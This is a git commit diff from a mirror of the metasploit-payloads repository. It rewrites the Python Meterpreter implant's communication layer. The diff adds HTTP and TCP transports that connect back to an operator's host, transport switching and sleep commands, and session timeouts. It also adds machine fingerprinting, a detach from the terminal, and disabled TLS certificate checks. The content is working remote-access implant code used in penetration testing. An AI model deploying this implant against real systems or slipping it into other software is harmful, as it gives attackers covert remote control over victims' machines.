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mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

Merged python

This commit is contained in:
Brent Cook 2015-08-02 22:24:31 -05:00
commit 039e5b7f82
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 496 additions and 158 deletions

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@ -1,3 +1,4 @@
# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import fnmatch
import getpass
import os

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@ -1,4 +1,6 @@
#!/usr/bin/python
# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import binascii
import code
import os
import platform
@ -47,10 +49,10 @@ if sys.version_info[0] < 3:
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
@ -60,14 +62,16 @@ else:
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ""
PAYLOAD_UUID = ''
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
@ -144,6 +148,19 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
@ -210,6 +227,15 @@ def error_result_windows(error_number=None):
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def get_hdd_label():
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ''
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
@ -261,15 +287,17 @@ def tlv_pack(*args):
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ""
data = ''
value = tlv['value']
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
if isinstance(value, float):
value = int(round(value))
data = struct.pack('>III', 12, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
data = struct.pack('>IIQ', 16, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
@ -284,6 +312,12 @@ def tlv_pack(*args):
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
@export
def tlv_pack_response(result, response):
response += tlv_pack(TLV_TYPE_RESULT, result)
response = struct.pack('>I', len(response) + 4) + response
return response
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
@ -371,51 +405,282 @@ class STDProcess(subprocess.Popen):
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket=None):
class Transport(object):
def __init__(self):
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
self.communication_last = 0
self.retry_total = SESSION_RETRY_TOTAL
self.retry_wait = SESSION_RETRY_WAIT
self.request_retire = False
def __repr__(self):
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
@property
def communication_has_expired(self):
return self.communication_last + self.communication_timeout < time.time()
@property
def should_retire(self):
return self.communication_has_expired or self.request_retire
@staticmethod
def from_request(request):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if url.startswith('tcp'):
transport = TcpTransport(url)
elif url.startswith('http'):
proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value')
user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT)
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
return transport
def _activate(self):
return True
def activate(self):
end_time = time.time() + self.retry_total
while time.time() < end_time:
try:
activate_succeeded = self._activate()
except:
activate_succeeded = False
if activate_succeeded:
self.communication_last = time.time()
return True
time.sleep(self.retry_wait)
return False
def _deactivate(self):
return
def deactivate(self):
try:
self._deactivate()
except:
pass
self.communication_last = 0
return True
def get_packet(self):
self.request_retire = False
try:
pkt = self._get_packet()
except:
return None
if pkt is None:
return None
self.communication_last = time.time()
return pkt
def send_packet(self, pkt):
self.request_retire = False
try:
self._send_packet(pkt)
except:
return False
self.communication_last = time.time()
return True
def tlv_pack_timeouts(self):
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
return response
def tlv_pack_transport_group(self):
trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url)
trans_group += self.tlv_pack_timeouts()
return trans_group
class HttpTransport(Transport):
def __init__(self, url, proxy=None, user_agent=None):
super(HttpTransport, self).__init__()
opener_args = []
scheme = url.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2, 7, 9)) or sys.version_info >= (3, 4, 3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
self.proxy = proxy
opener = urllib.build_opener(*opener_args)
if user_agent:
opener.addheaders = [('User-Agent', user_agent)]
self.user_agent = user_agent
urllib.install_opener(opener)
self.url = url
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
self._first_packet = None
self._empty_cnt = 0
def _activate(self):
return True
self._first_packet = None
packet = self._get_packet()
if packet is None:
return False
self._first_packet = packet
return True
def _get_packet(self):
if self._first_packet:
packet = self._first_packet
self._first_packet = None
return packet
packet = None
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
packet = url_h.read()
for _ in range(1):
if packet == '':
break
if len(packet) < 8:
packet = None # looks corrupt
break
pkt_length, _ = struct.unpack('>II', packet[:8])
if len(packet) != pkt_length:
packet = None # looks corrupt
if not packet:
delay = 10 * self._empty_cnt
if self._empty_cnt >= 0:
delay *= 10
self._empty_cnt += 1
time.sleep(float(min(10000, delay)) / 1000)
return packet
self._empty_cnt = 0
return packet[8:]
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
response = url_h.read()
def tlv_pack_transport_group(self):
trans_group = super(HttpTransport, self).tlv_pack_transport_group()
if self.user_agent:
trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent)
if self.proxy:
trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy)
return trans_group
class TcpTransport(Transport):
def __init__(self, url, socket=None):
super(TcpTransport, self).__init__()
self.url = url
self.socket = socket
self.driver = None
self._cleanup_thread = None
self._first_packet = True
def _sock_cleanup(self, sock):
remaining_time = self.communication_timeout
while remaining_time > 0:
iter_start_time = time.time()
if select.select([sock], [], [], remaining_time)[0]:
if len(sock.recv(4096)) == 0:
break
remaining_time -= time.time() - iter_start_time
sock.close()
def _activate(self):
address, port = self.url[6:].rsplit(':', 1)
port = int(port.rstrip('/'))
timeout = max(self.communication_timeout, 30)
if address in ('', '0.0.0.0', '::'):
try:
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
except (AttributeError, socket.error):
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind(('', port))
server_sock.listen(1)
if not select.select([server_sock], [], [], timeout)[0]:
server_sock.close()
return False
sock, _ = server_sock.accept()
server_sock.close()
else:
if ':' in address:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((address, port))
sock.settimeout(None)
self.socket = sock
self._first_packet = True
return True
def _deactivate(self):
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
cleanup.run()
self.socket = None
def _get_packet(self):
first = self._first_packet
self._first_packet = False
if not select.select([self.socket], [], [], 0.5)[0]:
return ''
packet = self.socket.recv(8)
if packet == '': # remote is closed
self.request_retire = True
return None
if len(packet) != 8:
if first and len(packet) == 4:
received = 0
pkt_length = struct.unpack('>I', packet)[0]
self.socket.settimeout(max(self.communication_timeout, 30))
while received < pkt_length:
received += len(self.socket.recv(pkt_length - received))
self.socket.settimeout(None)
return self._get_packet()
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def _send_packet(self, packet):
self.socket.send(packet)
@classmethod
def from_socket(cls, sock):
url = 'tcp://'
address, port = sock.getsockname()[:2]
# this will need to be changed if the bind stager ever supports binding to a specific address
if not address in ('', '0.0.0.0', '::'):
address, port = sock.getpeername()[:2]
url += address + ':' + str(port)
return cls(url, sock)
class PythonMeterpreter(object):
def __init__(self, transport):
self.transport = transport
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
self.transports = [self.transport]
self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
self.session_expiry_end = time.time() + self.session_expiry_time
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
@ -445,121 +710,109 @@ class PythonMeterpreter(object):
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
pkt = self.transport.get_packet()
if pkt is None and self.transport.should_retire:
self.transport_change()
return pkt
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
send_succeeded = self.transport.send_packet(packet)
if not send_succeeded and self.transport.should_retire:
self.transport_change()
return send_succeeded
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
@property
def session_has_expired(self):
if self.session_expiry_time == 0:
return False
return time.time() > self.session_expiry_end
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def transport_add(self, new_transport):
new_position = self.transports.index(self.transport)
self.transports.insert(new_position, new_transport)
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def transport_change(self, new_transport=None):
if new_transport is None:
new_transport = self.transport_next()
self.transport.deactivate()
self.debug_print('[*] changing transport to: ' + new_transport.url)
while not new_transport.activate():
new_transport = self.transport_next(new_transport)
self.debug_print('[*] changing transport to: ' + new_transport.url)
self.transport = new_transport
def send_packet_tcp(self, packet):
self.socket.send(packet)
def transport_next(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) + 1
if new_idx == len(self.transports):
new_idx = 0
return self.transports[new_idx]
def transport_prev(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) - 1
if new_idx == -1:
new_idx = len(self.transports) - 1
return self.transports[new_idx]
def run(self):
while self.running:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
while self.running and not self.session_has_expired:
request = self.get_packet()
if request:
response = self.create_response(request)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
if response:
self.send_packet(response)
continue
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while select.select([channel.fileno()], [], [], 0)[0]:
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if select.select([channel.fileno()], [], [], 0)[0]:
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
@ -573,18 +826,17 @@ class PythonMeterpreter(object):
self.send_packet(pkt)
def _core_uuid(self, request, response):
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(PAYLOAD_UUID))
return ERROR_SUCCESS, response
def _core_enumextcmd(self, request, response):
extension_name = packet_get_tlv(request, TLV_TYPE_STRING)['value']
for func_name in self.extension_functions.keys():
if func_name.split('_', 1)[0] == extension_name:
response += tlv_pack(TLV_TYPE_STRING, func_name)
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
def get_hdd_label():
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ""
serial = ''
machine_name = platform.uname()[1]
if has_windll:
@ -635,6 +887,89 @@ class PythonMeterpreter(object):
self.running = False
return ERROR_SUCCESS, response
def _core_transport_add(self, request, response):
new_transport = Transport.from_request(request)
self.transport_add(new_transport)
return ERROR_SUCCESS, response
def _core_transport_change(self, request, response):
new_transport = Transport.from_request(request)
self.transport_add(new_transport)
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(new_transport)
return None
def _core_transport_list(self, request, response):
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
transport = self.transport_next()
while transport != self.transport:
response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group())
transport = self.transport_next(transport)
return ERROR_SUCCESS, response
def _core_transport_next(self, request, response):
new_transport = self.transport_next()
if new_transport == self.transport:
return ERROR_FAILURE, response
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(new_transport)
return None
def _core_transport_prev(self, request, response):
new_transport = self.transport_prev()
if new_transport == self.transport:
return ERROR_FAILURE, response
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(new_transport)
return None
def _core_transport_remove(self, request, response):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if self.transport.url == url:
return ERROR_FAILURE, response
transport_found = False
for transport in self.transports:
if transport.url == url:
transport_found = True
break
if transport_found:
self.transports.remove(transport)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
def _core_transport_set_timeouts(self, request, response):
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
if not timeout_value is None:
self.session_expiry_time = timeout_value
self.session_expiry_end = time.time() + self.session_expiry_time
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
if timeout_value:
self.transport.communication_timeout = timeout_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
if retry_value:
self.transport.retry_total = retry_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
if retry_value:
self.transport.retry_wait = retry_value
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += self.transport.tlv_pack_timeouts()
return ERROR_SUCCESS, response
def _core_transport_sleep(self, request, response):
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
if seconds:
self.transport.deactivate()
time.sleep(seconds)
if not self.transport.activate():
self.transport_change()
return None
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
@ -748,7 +1083,10 @@ class PythonMeterpreter(object):
handler = self.extension_functions[handler_name]
try:
self.debug_print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
result = handler(request, resp)
if result is None:
return
result, resp = result
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
@ -757,9 +1095,7 @@ class PythonMeterpreter(object):
else:
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
return tlv_pack_response(result, resp)
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
@ -768,7 +1104,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT)
else:
met = PythonMeterpreter(s)
transport = TcpTransport.from_socket(s)
met = PythonMeterpreter(transport)
met.run()